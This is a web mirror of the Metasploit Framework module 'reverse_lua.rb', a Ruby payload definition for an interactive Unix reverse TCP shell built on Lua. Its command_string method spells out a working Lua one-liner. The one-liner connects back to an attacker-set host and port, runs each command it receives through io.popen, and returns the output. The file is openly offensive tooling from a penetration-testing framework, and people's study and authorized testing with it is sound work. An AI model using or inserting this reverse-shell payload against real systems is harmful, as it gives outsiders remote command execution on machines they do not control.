Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/cmd/unix/reverse_lua.rb
21551 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
module MetasploitModule
7
CachedSize = 224
8
9
include Msf::Payload::Single
10
include Msf::Sessions::CommandShellOptions
11
12
def initialize(info = {})
13
super(
14
merge_info(
15
info,
16
'Name' => 'Unix Command Shell, Reverse TCP (via Lua)',
17
'Description' => 'Creates an interactive shell via Lua',
18
'Author' => [
19
'xistence <xistence[at]0x90.nl>',
20
],
21
'License' => MSF_LICENSE,
22
'Platform' => 'unix',
23
'Arch' => ARCH_CMD,
24
'Handler' => Msf::Handler::ReverseTcp,
25
'Session' => Msf::Sessions::CommandShell,
26
'PayloadType' => 'cmd',
27
'RequiredCmd' => 'lua',
28
'Payload' => {
29
'Offsets' => {},
30
'Payload' => ''
31
}
32
)
33
)
34
register_advanced_options(
35
[
36
OptString.new('LuaPath', [true, 'The path to the Lua executable', 'lua'])
37
]
38
)
39
end
40
41
#
42
# Constructs the payload
43
#
44
def generate(_opts = {})
45
vprint_good(command_string)
46
return super + command_string
47
end
48
49
#
50
# Returns the command string to use for execution
51
#
52
def command_string
53
"#{datastore['LuaPath']} -e \"local s=require('socket');local t=assert(s.tcp());t:connect('#{datastore['LHOST']}',#{datastore['LPORT']});while true do local r,x=t:receive();local f=assert(io.popen(r,'r'));local b=assert(f:read('*a'));t:send(b);end;f:close();t:close();\""
54
end
55
end
56
57